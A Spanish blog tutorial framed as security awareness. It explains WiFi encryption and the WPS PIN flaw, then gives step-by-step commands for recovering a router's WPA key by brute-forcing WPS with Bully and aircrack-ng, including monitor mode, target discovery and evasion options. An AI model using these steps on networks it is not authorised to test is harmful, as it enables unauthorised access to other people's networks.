Los que me conocen saben que odio las redes WiFi por sus muchas vulnerabilidades, con lo que me he propuesto hacer una saga de "mini-tutoriales", a modo de recetas, para que salgan un poco más a la luz lo débiles que pueden ser algunos sistemas y lo peligroso que puede ser tener una WiFi activa, sobre todo si no se tienen los conocimientos adecuados para fortalecer la seguridad y prevenir ataques.

De modo que ahí va la primera entrega: Romper claves WPA por la vulnerabilidad del WPS mediante Bully.

Como de costumbre, vamos a responder a una serie de preguntas antes de empezar y entrar en materia:

¿Qué es eso de WEP, WPA y WPA2 y qué implicaciones tiene?

No son más que siglas que identifican el tipo de encriptación (es decir, cómo se ocultan las contraseñas y los datos que viajan por el aire) que se utiliza en los sistemas WiFi. No tiene nada que ver con el estándar WiFi que aplica (ya sabéis, eso de WiFi b/g/n...), ya que esto va más con el tipo de señal radioeléctrica (para los telecos, tipo de modulación -PAM, OFDM, PSK...-, codificación binaria de los símbolos -64-QAM, 4-PSK...-, niveles de campo radiado, potencia radiada aparente, etc.) que se utiliza en la interfaz aire y que, a fin de cuentas nos va a dar el caudal (throughout) o tasa binaria que es capaz de mantener el canal: 54, 300 Mbps...

Tal y como están puestas en la pregunta están en orden creciente de "fortaleza" o cuán difícil es descifrar su clave mediante ataques de fuerza bruta. De este modo, para ciertos router WiFi que estén encriptados con WEP, bastará con capturar 4 paquetes y seremos capaces de desencriptar la clave, mientras que para WPA2 con claves alfanuméricas de más de 10 caracteres podríamos estar literalmente días o semanas con superordenadores intentando sacar la clave por fuerza bruta.

En este sentido, conviene cambiar la encriptación (si el router y todos los equipos de nuestro domicilio lo permiten) a WPA2 y cambiar la clave que venga de fabrica por una personal que intercale letras (mayúsuculas y minúsculas), números y caracteres especiales, como por ejemplo: Pro#tO-ti!pAn;Do.

¿Qué significa WPS y cómo puedo saber si mi router lo tiene?

 WPS viene de WiFi Protected Setup y es un invento de la WiFi Alliance para ayudar a proliferar las redes WLAN (Wireless Local Area Network), ya que parecía ser que [MODO IRONÍA = ON]era muy complicado configurar una red WiFi doméstica o para una pequeña oficina[MODO IRONÍA = OFF].

En fin, al final el WPS se traduce en que los router traen un botón o algún mecanismo similar por el que no se tenga que introducir la clave de encriptación (la del router, la WEP, WPA o WPA2) a manopla, sino que hay un autonegociado mediante un PIN numérico de 4 a 8 dígitos y, si el negociado es satisfactorio, el dispositivo huésped es alojado en la WLAN.

Como comprenderéis, esto de cara a la seguridad es una basura... Y efectivamente lo es, ya que muchos router incorporan "ese botón o mecanismo similar" mediante una pulsación remota, pulsación software, etc. Con lo que al final el agujero de seguridad crece aún más.

¿Qué es Bully y cómo actúa?

 Bueno Bully no es más que una de tantas herramientas para hacer un ataque de fuerza bruta contra un router que soporte WPS. Está basada en Reaver, a la que dedicaremos otro artículo próximamente ya que fue la original y primigenia, escrita en C (¡no podía ser de otra forma!), y es idéntica a ésta, salvo algunas optimizaciones de recursos y de algoritmos.

El concepto es fácil: Bully hace un poco de Bullying (sí, está muy bien puesto el nombre) al router en cuestión que soporta WPS. ¿Cómo? Pues sencillamente le manda un paquete especial que le dice: "Oye, quiero conectarme a tu red por WPS, y el PIN es xxxxxxxx", a lo que el desgraciado del router no tiene otra cosa que hacer que responder con un mensaje como: "Vaya, el PIN no es correcto, espera 'n' segundos y vuélvelo a intentar".

El agujero de seguridad se solucionaría como alguno puede intuir haciendo un incremento exponencial del tiempo de espera de 'n' segundos, pero... ¡es que hay router que 'n' es cero! Además, se puede falsear la MAC, con lo que el router cree que no es el mismo PC haciendo un ataque de fuerza bruta, sino que son distintos dispositivos y entonces no penaliza con 'n' segundos... En fin, que entremos en materia y dejémonos de historias.


 

Como viene siendo habitual en este maravilloso mundo que es Linux, abrimos un Terminal (o consola) y tecleamos lo siguiente para crear un directorio donde trabajar:

$ mkdir /home/#vuestro-nombre-de-usuario#/github-Bully
$ cd /home/#vuestro-nombre-de-usuario#/github-Bully
 

Y clonamos los fuentes:

$ git clone https://github.com/Lrs121/bully 

Cuando finalice la clonación, hacemos:

$ cd src
$ make
$ sudo make install
 

Si esto último os arrojara algún error, seguramente es porque no tenéis instalado el compilador GCC o el GCC-C++, lo cual lo solucionáis con: 

$ sudo yum install gcc gcc-c++

Cuando ya tengamos instalado Bully, nos aseguramos de tener instalado la suite aircrack-ng:

$ sudo yum install aircrack-ng  

Y hacemos:

$ iwconfig

Para conocer el nombre de nuestra interfaz WiFi. En Fedora, desde Fedora 19 si no me equivoco, han dejado de ser wlan0 para ser wlpXsY, en concreto el mío es wlp2s0, con lo que activo mi tarjeta en modo monitor (o modo promiscuo) con airomon-ng de la siguiente forma:

$ sudo airmon-ng start wlp2s0

Comprobamos si nos ha cambiado el nombre de la interfaz WiFi nuevamente con 'iwconfig' (puede aparecer mon0 o mantenerse wlp2s0, depende de la tarjeta y la versión del software). Luego lanzamos airodump-ng y localizamos los parámetros del router vulnerable, en particular debemos anotar la dirección MAC de la BSSID en cuestión y su canal:

$ sudo airodump-ng mon0

Si nos diera un error del tipo "Failed. Siocsifflags error : Name not unique on network", es porque, por alguna razón que aún no he descubierto, confunde las interfaces WiFi y se cree que hay dos con el mismo nombre. Lo que haríamos sería lo siguiente (sólo hacer estos pasos si nos fallara, sino seguid ignorando este párrafo):

$ airmon-ng stop mon0
$ ifconfig wlp2s0 down
$ iwconfig wlp2s0 mode monitor
$ ifconfig wlp2s0 up
$ airodump-ng wlp2s0
 

Cuando tengamos lo que necesitamos, matamos el proceso (CTRL + C) para parar airodump-ng y lanzamos Bully con:

$ bully -b 00:11:22:33:44:55 -c 11 mon0

Y a esperar de 2 a 5 horas a que nos proporcione Bully la clave WPA del router. 

Aunque se puede ser más cafetero y, por ejemplo, prevenir los over-flooding con tiempos de espera:

$ bully -b 00:11:22:33:44:55 -c 11 -1 1 -2 5 mon0

O camuflarnos como si fuéramos un servicio de registro de Windows 7:

$ bully -b 00:11:22:33:44:55 -c 11 -W mon0

En definitiva, mucho cuidado que cualquiera se os puede colar.